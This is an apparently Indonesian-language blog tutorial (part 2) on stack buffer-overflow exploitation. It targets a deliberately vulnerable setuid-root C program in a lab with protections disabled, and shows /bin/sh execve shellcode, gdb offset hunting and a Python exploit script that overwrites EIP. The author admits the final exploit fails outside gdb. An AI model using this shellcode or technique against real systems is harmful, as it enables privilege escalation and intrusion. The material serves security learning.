[Reverse] Tutorial Shellcode Injection pada program binary 64bit: Part2
Halo semuanya! Kali ini gw akan share mengenai shellcode injection dengan metode lainnya. Pada part 1, kamu udah kenal namanya shellcode injection dengan cara memasukkan shellcode pada environment variables. Lalu kamu hitung jarak antara program kamu dengan address dari env variables yg berisikan shellcode. Seterusnya kamu lakukan buffer overflow dan ganti return addressnya ke alamat tersebut
Kalau kamu roaming, berarti kamu belum baca part1 dari artikel ini. Silahkan dibaca dulu……
Untuk part 2, kita akan mencoba memasukkan shellcode tepat pada payload. Sehingga, metode ini biasa disebut sebagai Data Stack Execution. Karena kamu akan memasukkan shellcode ke dalam data, lalu Instruction Pointer akan diarahkan ke alamat shellcode tersebut di dalam payload yang kamu berikan
Kalau kamu masih roaming, langsung aja ke paragraf berikutnya yah!
Environment
OS: Ubuntu 16.04
Arsitektur: 32bit (sengaja biar ga bosen :p)
gcc: versi 5.4.0
ASLR & DEP: Disabled
Maklum ane masih newbs, ASLR sama DEPnya selalu mode disabled :D
Mengetes Shellcode
Sebelum shellcode kamu masukkan ke dalam payload, alangkah baiknya kamu compile shellcode dibawah ini dan coba jalankan
#include <stdio.h>char shellcode[]="\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d"
"\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41"
"\x4b\x4b\x4b\x4b";void main() {
void (*routine)();
routine=&shellcode;
printf("size of shellcode: %dbytes\n",sizeof(shellcode));
routine();
}$ gcc shellcode.c -m32 -fno-stack-protector -z execstack -o shellcode
Coba eksekusi shellcode tersebut, kalau outputnya seperti ini berarti bisa dijalankan pada komputer anda
$ ./shellcode
size of shellcode: 50bytes
$ id
uid=1000(kucing) gid=1000(kucing) groups=1000(kucing),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$
Program target
Pada snippet dibawah ini adalah source code beserta cara compile dan run
# nano ezidataexec.c
# gcc ezidataexec.c -m32 -fno-stack-protector -z execstack -o ezidataexec
# chmod +s ezidataexec
# ./ezidataexec
test
test
# exit
$ cat ezidataexec.c
#include <stdio.h>
void ccd(void) {
char arr[60];
gets(arr);
printf("%s\n", arr);
}main() {
setuid(0);
setgid(0);
ccd();
return 0;
}int main(){
setuid(0);
setgid(0);
char nama[150];
scanf("%s",nama);
printf("Selamat datang: %s\n",nama);
return 0;
}
Verifying Bug
Kali ini coba kita sedikit ilmiah (gaya). Fungsi “ccd” itu pasti akan memesan stack sebanyak 60bytes. Which means BIASANYA kalau programnya cuma sesimpel ini doang. Seharusnya untuk melakukan overwriting terhadap Base Pointer dari Stack Frame ini sekitar 60 bytes (Stack Pointer) + 4 bytes (somehow ga tau) + 4 bytes (ini EBPnya). Yasudah saya langsung coba 70 bytes aja dengan gdb
Jangan lupa pakai pattern generatornya!
$ gdb ezidataexec
(gdb) run
Starting program: /home/kucing/smashthestack/ezidataexec
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2A
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2AProgram received signal SIGSEGV, Segmentation fault.
0x080484f7 in main ()
(gdb) i r
/build/gdb-sqtpXm/gdb-7.11/gdb/findvar.c:291: internal-error: value_of_register_lazy: Assertion `frame_id_p (get_frame_id (frame))' failed.
A problem internal to GDB has been detected,
further debugging may prove unreliable.
Quit this debugging session? (y or n) n
Hah? Kok malah jadi GDB yang crash?
Verifying GDB Bug
Nampaknya ga selamanya gdb itu software hebat yg bisa melakukan tracing dari runtime binary. Itu buktinya ngebug T_T. Yasudah, yuk lanjut ke tahap berikutnya. Siapa tau kalau dikasih payload yg lain si GDB malah jalan normal
Rewriting Instruction Pointer
Somehow angka 70 adalah kurang untuk program ini (apalagi GDBnya malah yang crash ._.)
Langsung aja lah kita masukkan string dengan panjang 100
(gdb) run
Starting program: /home/kucing/smashthestack/ezidataexec
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2AProgram received signal SIGSEGV, Segmentation fault.
0x41346341 in ?? ()
(gdb)
Ih, ada angka cantik muncul (0x41346341). Angka apa yang dimaksud? Mari kita lihat registernya, termasuk isi dari Stack Pointer kita tadi
(gdb) i r
eax 0x65 101
ecx 0xffffffff -1
edx 0xf7faf870 -134547344
ebx 0x0 0
esp 0xffffcdd0 0xffffcdd0
ebp 0x33634132 0x33634132
esi 0xf7fae000 -134553600
edi 0xf7fae000 -134553600
eip 0x41346341 0x41346341
eflags 0x10282 [ SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) x/100x $esp
0xffffcdd0: 0x63413563 0x37634136 0x41386341 0x64413963
0xffffcde0: 0x31644130 0x41326441 0x00000000 0xf7e14637
0xffffcdf0: 0x00000001 0xffffce84 0xffffce8c 0x00000000
0xffffce00: 0x00000000 0x00000000 0xf7fae000 0xf7ffdc04
Isi dari stack pointer paling atas (0x63413563) itu merupakan bagian dari payload pada offset 76
$ ./pattern.py offset 0x63413563
hex pattern decoded as: c5Ac
76
Ini aneh karena namanya SP itu seharusnya menampilkan Stack Pointer dari paling atas (offset 0). Namun somehow si Stack Pointer ini tiba-tiba bergeser windownya menjadi seperti itu. Sangat mungkin ada fungsi yang membaca dan memindahkan si stack pointer tersebut. Ketika melakukan demikian, fungsi itu secara “tidak sengaja” menabrak Instruction Pointer.
Kalau asumsi saya diatas benar, yuk kita cek offset dari instruction pointer saat ini (0x41346341)
$ ./pattern.py offset 0x41346341
hex pattern decoded as: Ac4A
72
Loh? Eh? Iya disini ada fungsi misterius yang memindahkan Instruction Pointer ke suatu alamat. Dimana alamat ini secara tidak sengaja “dilindas” oleh fungsi tadi. Apa karena fungsi printf? Jadi wandering mikir sendiri
Taking Control of EIP
Sekarang untuk membuktikan bahwa kita bisa mengubah value dari Instruction Pointer. Saya membuat script kecil seperti dibawah
from struct import *
buf = ""
buf += "A"*72
buf += pack("<Q", 0x70717273) #EIP
f = open("pattern", "w")
f.write(buf)
Apabila program python diatas kamu eksekusi, nantinya akan menghasilkan file “pattern” dan itu akan dijadikan input ke program
(gdb) run < pattern
Starting program: /home/kucing/smashthestack/ezidataexec < pattern
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsrqpProgram received signal SIGSEGV, Segmentation fault.
0x70717273 in ?? ()
(gdb)
Bingo!. Sekarang, kamu mau arahin alamat itu kemana?
Memasukkan shellcode ke dalam stack
Nah ini bagian paling menyebalkan karena susah. Kamu akan memasukkan shellcode tersebut menjadi bagian dari data. Shellcode diatas akan kita pakai untuk mengambil shell dari data. Ini full source code dari exploit.py yang membangkitkan input
from struct import *
buf = ""
buf += "\x90"*23
buf += "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x4b\x4b\x4b\x4b"
buf += pack("<Q", 0x70717273)
f = open("pattern", "w")
f.write(buf)
Menghitung Exploit
Pada exploit sebelumnya, kamu memasukkan “A” sebanyak 72kali dan memasukkan alamat tujuan kamu sendiri pada Instruction Pointer.
Nah, sekarang kamu akan memakai alokasi 72bytes A tersebut untuk memasukkan payload. Karena panjang string payload kamu adalah 49bytes. Maka alokasi untuk “A” berkurang sebanyak 49 bytes dari 72 bytes. Hasil akhirnya adalah “A” dengan panjang 23bytes (72–49). Artinya kamu harus mencetak “A” sebanyak 23 kali, lalu diikuti dengan shellcode, lalu diikuti dengan instruction pointer.
Rumus Payload: <NOP String> + <Your Shellcode> + <Target Addr>
Dimana target addressnya adalah lokasi dari shellcode, akan kita hitung nanti :D
Berkenalan dengan NOP (No Operation) variable
Baca sendiri deh ya :p -> https://en.wikipedia.org/wiki/NOP
Inti singkatnya, kalau kamu ingin komputer mengabaikan suatu blok instruksi, tinggal taruh aja heksa 90 (/x90). Kalau assembler menemukan heksa 90, maka tidak akan ada yang berubah baik aksi, pointer, register, dll.
Run the Exploit
Langsung jalankan
(gdb) run < pattern
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/kucing/smashthestack/ezidataexec < pattern
������������������������^1��F���F
�
����V
�����/bin/shJAAAAKKKKsrqpProgram received signal SIGSEGV, Segmentation fault.
0x70717273 in ?? ()
(gdb)
Eh, kelupaan addressnya belum diganti (masih ke 70717273) xD
Measuring Shellcode Address
Kamu harus tau lokasi payload itu sebelum window stack pointernya ganti menjadi ketika terjadi error. Maka dari itu, coba buka assembly fungsi ccd dan lakukan break tepat ketika puts akan dipanggil
(gdb) disas ccd
Dump of assembler code for function ccd:
0x0804849b <+0>: push %ebp
0x0804849c <+1>: mov %esp,%ebp
0x0804849e <+3>: sub $0x48,%esp
0x080484a1 <+6>: sub $0xc,%esp
0x080484a4 <+9>: lea -0x44(%ebp),%eax
0x080484a7 <+12>: push %eax
0x080484a8 <+13>: call 0x8048340 <gets@plt>
0x080484ad <+18>: add $0x10,%esp
0x080484b0 <+21>: sub $0xc,%esp
0x080484b3 <+24>: lea -0x44(%ebp),%eax
0x080484b6 <+27>: push %eax
0x080484b7 <+28>: call 0x8048360 <puts@plt>
0x080484bc <+33>: add $0x10,%esp
0x080484bf <+36>: nop
0x080484c0 <+37>: leave
0x080484c1 <+38>: ret
End of assembler dump.
(gdb) break *ccd+28
Breakpoint 1 at 0x80484b7
(gdb)
Lalu kamu jalankan dan lihat isi stack pointernya
(gdb) r < pattern
Starting program: /home/kucing/smashthestack/ezidataexec < patternBreakpoint 1, 0x080484b7 in ccd ()
(gdb) x/100x $esp
0xffffcd70: 0xffffcd84 0x0804824c 0xffffcd90 0x0804827e
0xffffcd80: 0xffffcdd8 0x90909090 0x90909090 0x90909090
0xffffcd90: 0x90909090 0x90909090 0xeb909090 0xc0315e1a
Aha!, itu dia kira-kira di barisan address 0xffffcd90. Kalau mau lebih precise, shellcode itu dimulai ketika 0xffffcd9b
sok cari kenapa kok bisa perhitungannya ke 0xffffcd9b?
Namun, ga masalah kalau kita panggil mulai dari 0xffffcd90. Silahkan ganti
buf += pack("<Q", 0xffffcd90)
Jalankan payload, lalu jadikan payload tersebut menjadi input dari program. Untuk percobaan, jangan lupa untuk dijalankan di gdb
Run & Test Exploit
Langsung aja ke TKP gan, mudah2an works
(gdb) r < pattern
Starting program: /home/kucing/smashthestack/ezidataexec < pattern
������������������������^1��F���F
�
����V
�����/bin/shJAAAAKKKK����
process 12594 is executing new program: /bin/dash
[Inferior 1 (process 12594) exited normally]
(gdb)
Yay!, ternyata si program ini memanggil /bin/dash. Coba ah dieksekusi di console gdb
(gdb) run id
Starting program: /bin/dash id
/bin/dash: 0: Can't open id
[Inferior 1 (process 12774) exited with code 0177]
(gdb) run -c "id"
Starting program: /bin/dash -c "id"
uid=1000(kucing) gid=1000(kucing) groups=1000(kucing),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
[Inferior 1 (process 12778) exited normally]
(gdb) c
The program is not being run.
(gdb)
Hmm? Kok masih belom root yah? Apa binary saya salah?
$ ls -lah ezidataexec
-rwsr-sr-x 1 root root 7,4K Peb 2 23:07 ezidataexec
Udah bener kok, tapi kok masih belum root? Mungkin coba di console langsung
$ cat pattern | ./ezidataexec
������������������������^1��F���F
�
����V
�����/bin/shJAAAAKKKK����
Segmentation fault (core dumped)
$ cat pattern - | ./ezidataexec
whoami
������������������������^1��F���F
�
����V
�����/bin/shJAAAAKKKK����
whoami
Segmentation fault (core dumped)
$
Wah ini sih yang bikin bete, kok malah ga jalan yah? T_T
After Failure
Sekarang tugasmu lah untuk mencari shellcode yang bisa jalan di console. Ini hitungannya sudah jalan loh, namun seperti biasa deh kayak di part1. Pasti ada yang aneh2 yang saya belum tahu hahaha.
Epilogue
Intinya gw akan coba update kalau sempet dan masih inget dan tau solusinya bagaimana haha…
Gapapa dong kali2 saya gagal. Karena kegagalan adalah kesuksesan yang tertunda lul :v :v :v
Habibie Faried
habibiefaried@gmail.com
@habibiefaried
CISSP & OSC* Wanna Be